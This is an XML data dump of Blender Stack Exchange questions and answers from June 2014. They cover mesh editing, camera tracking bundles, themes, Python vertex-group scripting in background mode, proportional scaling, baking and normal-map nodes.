  <row Id="13559" PostTypeId="2" ParentId="13545" CreationDate="2014-06-27T15:27:33.777" Score="3" Body="&lt;p&gt;Yes you can do this (even more efficiently then in the video I think)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select an edge ring (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Edge Menu -&gt; Edge Loops (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;, &lt;kbd&gt;P&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Edge Menu -&gt; Subdivide (Adjust smooth)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="3710" LastEditDate="2016-02-18T20:40:42.860" LastActivityDate="2016-02-18T20:40:42.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13560" PostTypeId="2" ParentId="13555" CreationDate="2014-06-27T15:46:46.940" Score="1" Body="&lt;p&gt;Like David said, the walk mode since 2.70 is a good way to start.&#xA;Additionally I want to add this:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View/Navigation_Modes&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View/Navigation_Modes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can adjust the speed with Mousewheel Up/Down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can also start the Fly Mode with Tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Teleport to a point with Space&lt;/p&gt;&#xA;" OwnerUserId="4991" LastActivityDate="2014-06-27T15:46:46.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13562" PostTypeId="1" CreationDate="2014-06-27T17:15:13.520" Score="0" ViewCount="38" Body="&lt;p&gt;I'd like to cut a mesh by giving two points (in order to form a line). For example, I would be able to easily cut the mesh in the picture below (which is an arch) instead of &lt;em&gt;roughly&lt;/em&gt; bringing each vertex to the hypothetical diagonal line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AaHAr.png&quot; alt=&quot;2 point clip example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing the tool or are there similar ways to achieve the same result?&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-06-27T17:15:13.520" Title="Is there a 2-point clip in Blender?" Tags="&lt;editing&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2014-06-27T18:29:23.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="13563" PostTypeId="1" CreationDate="2014-06-27T18:45:24.000" Score="11" ViewCount="19452" Body="&lt;p&gt;I have selected few tracks on the floor (three or more) and press the &lt;em&gt;Floor&lt;/em&gt; button. As a result I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Three tracks with bundles are needed to orient the floor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does it mean? What is &quot;with bundles&quot;? What are &quot;bundles&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an example. Five tracks are selected, all of them are of same color. How can I see that some of them has no &quot;bundles&quot;? I was pressing &quot;Solve Camera...&quot; button before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLmNY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1216" LastEditorUserId="1216" LastEditDate="2014-07-01T15:28:13.773" LastActivityDate="2021-05-01T17:53:32.670" Title="What does &quot;three tracks with bundles are needed to orient the floor&quot; mean?" Tags="&lt;tracking&gt;&lt;video&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13564" PostTypeId="2" ParentId="13537" CreationDate="2014-06-27T18:53:43.070" Score="1" Body="&lt;p&gt;Blender is gray by default:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PHPUU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it sounds like the theme you were using was somehow reverted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a black theme bundled with blender called &lt;em&gt;Back to Black&lt;/em&gt;. If you select it in &lt;em&gt;File menu &gt; User preferences&lt;/em&gt; (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;) &lt;em&gt;&gt; Themes &gt; Presets&lt;/em&gt;, then blender looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zt3gd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set this as your default theme, click &lt;em&gt;Saver user settings&lt;/em&gt; at the bottom of the user preferences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TmWrO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-28T06:06:11.770" LastActivityDate="2014-06-28T06:06:11.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13565" PostTypeId="2" ParentId="13541" CreationDate="2014-06-27T19:41:55.720" Score="2" Body="&lt;p&gt;You must enable &lt;em&gt;Transparency&lt;/em&gt; in the material settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v11DV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Properties/Mask_Transparency&quot; rel=&quot;nofollow noreferrer&quot;&gt;mask transparency&lt;/a&gt; won't work because it renders sky where there is transparency.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-27T19:41:55.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13566" PostTypeId="2" ParentId="10689" CreationDate="2014-06-27T20:25:51.883" Score="0" Body="&lt;p&gt;You could go into the 3D View, set the background to transparent and &lt;a href=&quot;https://blender.stackexchange.com/questions/7904/dynamic-text-in-animation&quot;&gt;use animated text&lt;/a&gt; to create a counter.  You may also want to set the material of the text object to shadeless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the VSE, add your scene.  And in the N-menu, you can change the offset of the scene strip to position the counter.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-06-27T20:25:51.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13567" PostTypeId="2" ParentId="13549" CreationDate="2014-06-27T20:26:39.867" Score="1" Body="&lt;p&gt;Maybe this could help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the objects, join them &lt;kbd&gt;Strg&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt;, go into edit mode, select all the faces, apply material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &quot;unjoin&quot; each object (e.g. select one edge/face/vertex, press &lt;kbd&gt;L&lt;/kbd&gt; (=select linked) or use box select) and press &lt;kbd&gt;P&lt;/kbd&gt;  =&gt; selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the effort is the same as editing each object manually + it messes up your objectnames so BE CAREFUL :)&lt;/p&gt;&#xA;" OwnerUserId="4991" LastEditorUserId="29" LastEditDate="2014-06-28T17:16:51.880" LastActivityDate="2014-06-28T17:16:51.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13568" PostTypeId="2" ParentId="13563" CreationDate="2014-06-27T20:27:39.550" Score="6" Body="&lt;p&gt;In order to create the floor you have to &lt;strong&gt;solve the clip first&lt;/strong&gt;. &lt;strong&gt;bundles&lt;/strong&gt; are basically &lt;strong&gt;solve data&lt;/strong&gt; for the track. Your error is probably caused by unsolved/incorrectly solved tracks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Motion_Tracking&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Bundles&lt;/strong&gt; makes sense after solving the movie clip, and it works in the following way: the solved position of each track gets projected&#xA;  back to the movie clip and displayed as a small point. The color of&#xA;  the point depends on the distance between the projected coordinate and&#xA;  the original coordinate: if they are close enough, the point is green,&#xA;  otherwise it'll be red. This helps to find tracks which weren't solved&#xA;  nicely and need to be tweaked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-06-27T20:46:25.443" LastActivityDate="2014-06-27T20:46:25.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13569" PostTypeId="1" AcceptedAnswerId="13572" CreationDate="2014-06-27T20:30:55.797" Score="6" ViewCount="660" Body="&lt;p&gt;Blender's application handlers are listed &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_6/bpy.app.handlers.html#persistent-handler-example&quot;&gt;here&lt;/a&gt;, but is it possible to create a new one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'd like an application handler which is a callback for every time I add a strip to the Video Sequence Editor.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-06-27T22:51:06.677" Title="Possible to create new Application Handler?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13570" PostTypeId="1" CreationDate="2014-06-27T22:27:30.060" Score="0" ViewCount="985" Body="&lt;p&gt;I was trying to run blender in the background and run the python file to select a group and change it's size&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the shell command I ran:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b filename.blend -P pythonname.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And inside pythonname.py I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.vertex_group_set_active(group='Group')&#xA;bpy.ops.object.vertex_group_select()&#xA;bpy.ops.transform.resize(value=(float(val1),float(val2),float(val3)))&#xA;bpy.ops.export_mesh.stl(filepath=&quot;/var/www/html/kiosk/stlv1.0/cylinder_savedcopy.stl&quot;)&#xA;bpy.ops.wm.quit_blender()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was stopped at the active part.&lt;/p&gt;&#xA;" OwnerUserId="4996" LastEditorUserId="599" LastEditDate="2014-06-27T22:57:33.373" LastActivityDate="2014-06-28T08:32:25.357" Title="Cannot set vertex group to active with python while in background mode?" Tags="&lt;python&gt;&lt;command-line&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13571" PostTypeId="1" CreationDate="2014-06-27T22:30:23.027" Score="3" ViewCount="14736" Body="&lt;p&gt;I need to change the 3 dimensions of an object, but only by changing one dimension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, if the object has the following dimensions:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;height: 2 units (Z)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;width: 0.5 units (Y)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;depth: 0.1 units (X)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I change the height of 2 units to 3 units, then the other width dimensions (Y) and depth (X) should automatically change to 0.75 and 0.15 respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do this by scaling (&lt;kbd&gt;S&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I press the &lt;kbd&gt;S&lt;/kbd&gt; key &lt;/li&gt;&#xA;&lt;li&gt;I press the &lt;kbd&gt;=&lt;/kbd&gt; key&lt;/li&gt;&#xA;&lt;li&gt;After Income Division 3/2. 3 is the new dimension and 2 above.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But I would like to know if there is a better way to do so through the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;).&lt;br&gt;&#xA;The options in the properties panel, when I change the height of 2 units to 3 units, the width and depth do not change.&lt;/p&gt;&#xA;" OwnerUserId="4997" LastEditorUserId="599" LastEditDate="2014-06-27T23:01:52.967" LastActivityDate="2017-10-23T06:17:03.280" Title="How to change dimensions of an object proportionally?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;objects&gt;&lt;dimensions&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13572" PostTypeId="2" ParentId="13569" CreationDate="2014-06-27T22:51:06.677" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The Blender/Python API &lt;strong&gt;can’t&lt;/strong&gt; (yet)...&lt;br&gt;&#xA;  ...&lt;br&gt;&#xA;  - Define callbacks or listeners to be notified when data is changed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_quickstart.html#preface&quot; rel=&quot;nofollow&quot;&gt;API docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;App handlers can't be created with Python, they need to the coded in C. The fact that registering arbitrary event callback isn't supported suggests that such an event driven design is not intended in Blender.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-27T22:51:06.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13573" PostTypeId="2" ParentId="13571" CreationDate="2014-06-27T23:02:25.977" Score="1" Body="&lt;p&gt;There is a solution since version 2.70:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.70/UI#Multi-Number_Button_Editing&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70/UI#Multi-Number_Button_Editing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click and drag from the first to the last fields you want to edit and release the click. The three fields are highlighted. Enter an expression, eg. *3/2 and press enter. All fields are edited at the same time.&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-06-27T23:02:25.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13574" PostTypeId="2" ParentId="6978" CreationDate="2014-06-28T07:25:22.130" Score="0" Body="&lt;p&gt;I use 2x r9 280x's cross fired. Just drop down to cmd and use set cycles_opencl_test=all and runn blender.exe from the directory. The 1st scene will take a while to compile so just render the cube. Than open your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to pick up the cards for just under 250 each. I still want to add 1 more to decrease render times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&#xA;Raul&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2014-06-28T07:25:22.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13575" PostTypeId="1" CreationDate="2014-06-28T07:53:05.313" Score="1" ViewCount="824" Body="&lt;p&gt;When I parent the weapon magazine with the hands, they follow , but the magazine rotates! The magazine also goes out of its desired position. How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No child.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XFMoV.png&quot; alt=&quot;With no child&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Child Added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mmvpz.png&quot; alt=&quot;With child added&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorDisplayName="user1853" LastEditDate="2014-06-29T04:10:40.727" LastActivityDate="2014-07-13T12:11:51.167" Title="Child of Constraint creates strange glitch?" Tags="&lt;animation&gt;&lt;transforms&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ClosedDate="2014-09-03T14:02:54.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="13577" PostTypeId="1" AcceptedAnswerId="13583" CreationDate="2014-06-28T08:08:59.113" Score="1" ViewCount="997" Body="&lt;p&gt;I am making a candle with sculpting and I want some dirt on it so I am going to use dirty vertex color but I don't want to apply the multires modifier so is their any way to make dirty vertex color without applying the multires modifier&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2014-06-28T14:07:59.057" Title="dirty vertex color with the multiresolution" Tags="&lt;modifiers&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13578" PostTypeId="2" ParentId="13570" CreationDate="2014-06-28T08:32:25.357" Score="1" Body="&lt;p&gt;For me it's not the operator that sets the active vertex group that fails, but the vertex group select. The reason is that the object needs to be in edit mode in order to run it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;vgroups = bpy.context.object.vertex_groups&#xA;vgroups.active_index = vgroups[&quot;Group&quot;].index&#xA;bpy.ops.object.mode_set(mode=&quot;EDIT&quot;)&#xA;bpy.ops.object.vertex_group_select()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also select the relevant vertices without operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;vi = ob.vertex_groups.find(&quot;Group&quot;)&#xA;&#xA;for v in ob.data.vertices:&#xA;    for g in v.groups:&#xA;        if g.group == vi:&#xA;            v.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but it only works in object mode. To transform the selection, you need to switch to edit mode or write a low-level replacement (requires object mode):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;vi = ob.vertex_groups.find(&quot;Group&quot;)&#xA;&#xA;verts = [v for v in me.vertices for g in v.groups if g.group == vi]&#xA;center = sum(map(lambda v: v.co, verts), Vector()) / len(verts)&#xA;&#xA;for v in verts:&#xA;   v.co = (v.co - center) * 2 + center&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-28T08:32:25.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13579" PostTypeId="1" CreationDate="2014-06-28T10:06:21.027" Score="0" ViewCount="37" Body="&lt;p&gt;I'm trying to fracture my statue object. I looked everywhere  but couldnt make the fracture work well.&#xA;this is the blend file &lt;a href=&quot;http://www.pasteall.org/blend/30082&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/30082&lt;/a&gt;&#xA;anyone can help me?&#xA;Thank you!!! &lt;/p&gt;&#xA;" OwnerUserId="4986" LastActivityDate="2014-06-28T10:06:21.027" Title="Cell fracture doesnt work well" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-06-28T10:17:00.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="13581" PostTypeId="1" AcceptedAnswerId="13582" CreationDate="2014-06-28T12:19:23.080" Score="3" ViewCount="1267" Body="&lt;p&gt;I'm trying to model a brick tower that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://upload.wikimedia.org/wikipedia/commons/9/9c/Remagen_Ludendorff_Bridge_West_side_towers_and_East_side.JPG&quot; rel=&quot;nofollow noreferrer&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/TF30I.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the tower has a hexagonal shape. With the curve/deform modifier, I can create a circular shape, but not the intended hexagonal shape. How do I go about modelling this?&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="599" LastEditDate="2014-06-28T18:29:28.410" LastActivityDate="2014-06-28T18:29:28.410" Title="How do I curve a brick mesh into a hexagonal shape?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13582" PostTypeId="2" ParentId="13581" CreationDate="2014-06-28T12:53:32.330" Score="6" Body="&lt;p&gt;You can still use the curve modifier, you just need a hexagonal curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the 'Extra Objects' for curves addon by going to File&gt; User Preferences&gt; Addons&gt; Add Curve&gt; Extra Objects and ticking the checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'Add' menu now has extra objects, choose 'Curves Galore!'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yUMsN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choosing 'Nsided' from the tool panel (&lt;kbd&gt;T&lt;/kbd&gt;) and setting 'Sides' 6 will produce a hexagonal curve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vUKZt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then add several array modifiers on the brick before the curve modifier to create the rows of bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also placed a 'Subsurf' modifier set to 'Simple' subdivision as the first modifier so that the bricks have a little more resolution to curve around the corners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VjGDN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-06-28T13:10:40.847" LastActivityDate="2014-06-28T13:10:40.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13583" PostTypeId="2" ParentId="13577" CreationDate="2014-06-28T14:07:59.057" Score="1" Body="&lt;p&gt;Not currently. I know of one person who has been on a campaign over this issue for a long time now.&lt;br&gt;&#xA;I always have UV's built early so what I do is duplicate the object then move it to another layer.  Then I apply the modifier and bake the results to a texture.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I delete the duplicated object and apply the baked texture to the original model which still has the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get used to doing this it can be usually be redone within a couple of minutes so you can redo it easily if you have updated the mesh and require a rebake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the relevant bake settings that I use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XfOW9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, even though there is a bake pass type called &lt;em&gt;Vertex Colors&lt;/em&gt;, it does not produce the results that I expect.  For me it always bakes much darken than it should but maybe I'm doing something wrong.  The settings I showed here work well.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-06-28T14:07:59.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13584" PostTypeId="2" ParentId="2941" CreationDate="2014-06-28T16:05:52.507" Score="3" Body="&lt;p&gt;I had similar problem. Situation was that I couldn't change vertex groups. So to solve that problem there is an option. Select your vertices, Select shape key with right shape you want (base in this case), Go to mesh-&gt;Vertices-&gt;Shape propagate. Attention with this tool, it will move vertices to all Shape keys. It's more like reset, but to all others keys. If you want only for one shape key, you have to make a &quot;backup copy&quot; of your mesh and transfer only that one shape key. Hope that helps some.&lt;/p&gt;&#xA;" OwnerUserId="5003" LastActivityDate="2014-06-28T16:05:52.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13585" PostTypeId="1" AcceptedAnswerId="13586" CreationDate="2014-06-28T16:43:45.420" Score="1" ViewCount="2775" Body="&lt;p&gt;I know about blender for android but that's just blender player and no export/publish for android.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way for build a single android apk from blender game?&lt;br&gt;&#xA;&lt;strong&gt;No Gamekit&lt;/strong&gt;, is there another way ?&lt;/p&gt;&#xA;" OwnerDisplayName="user5004" LastEditorUserId="599" LastEditDate="2014-06-28T18:26:23.053" LastActivityDate="2014-06-28T18:26:23.053" Title="Is there any way to publish game for android" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-06-28T23:01:23.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="13586" PostTypeId="2" ParentId="13585" CreationDate="2014-06-28T16:49:54.700" Score="2" Body="&lt;p&gt;No, the game-engine was ported to Android for a GSOC project, but this didn't make it into an official release yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is however work being done for Blender to use &lt;a href=&quot;https://en.wikipedia.org/wiki/EGL_%28API%29&quot; rel=&quot;nofollow&quot;&gt;EGL&lt;/a&gt;, which will help Blender run on Android and Wayland in the future. (The &lt;code&gt;soc-2014-viewport_fx&lt;/code&gt; branch).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-06-28T17:55:03.767" LastActivityDate="2014-06-28T17:55:03.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13587" PostTypeId="1" AcceptedAnswerId="13615" CreationDate="2014-06-28T17:02:32.910" Score="3" ViewCount="1218" Body="&lt;p&gt;So I've made a simple, yet effective human rig with both arms and legs configured to use inverse kinematics (with an IK constraint, pole and target all set up). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine for me and does the job, however, I prefer most of the time to mix forward kinematics and inverse kinematics to set up a pose. Is there a way I can be able to use my IK constraints for the rig's arms and then tweak it up a little rotating the actual arm's bones?&lt;/p&gt;&#xA;" OwnerUserId="5005" LastActivityDate="2014-06-29T15:06:07.517" Title="Mixing forward and inverse kinematics" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13588" PostTypeId="1" CreationDate="2014-06-28T17:19:53.767" Score="1" ViewCount="1250" Body="&lt;p&gt;I'm trying to model a slope to connect 2 different planes together as shown &lt;a href=&quot;https://i.imgur.com/aHwXtbu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;,&lt;img src=&quot;https://i.stack.imgur.com/scy82.jpg&quot; alt=&quot;enter image description here&quot;&gt; but I'm not sure how to do it. I've tried using the sculpt tool but it did not give me the desired effect. &lt;a href=&quot;https://imgur.com/sEFFskk&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; is what I want the slope to look like. How should I go about modelling this?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Fzj2U.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorDisplayName="user1853" LastEditDate="2014-06-28T18:16:53.923" LastActivityDate="2014-07-05T02:17:52.583" Title="How do I create a smooth slope to join 2 planes of different elevation?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13589" PostTypeId="2" ParentId="13588" CreationDate="2014-06-28T17:31:52.893" Score="1" Body="&lt;p&gt;To create such a slope is fairly simple.&#xA;Create a row of verities at the top and bottom of the slope. Make sure that the rows have the same amount of verities. Then you can bridge the gap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create a bulge/indent, add a few edge loops running down the slope. next using proportional editing &lt;kbd&gt;o&lt;/kbd&gt;, drag the center edge loop up or down. Using these techniques you can mold you slope. I would recommend sculpting for fine tuning. &lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-28T17:31:52.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13590" PostTypeId="1" AcceptedAnswerId="13591" CreationDate="2014-06-28T18:37:59.560" Score="19" ViewCount="78830" Body="&lt;p&gt;When I add a normal map texture in cycles I do this - &lt;img src=&quot;https://i.stack.imgur.com/2zfFo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to combine the normal map texture with a diffuse|color texture?&#xA;I don't have much knowledge about the nodes in cycles and I have no idea which node will combine them? Do I have to use the Color-Mix node? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="2217" LastEditDate="2014-06-28T18:44:37.030" LastActivityDate="2014-06-28T18:50:56.353" Title="How to add a normal map texture and a diffuse texture on a model in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
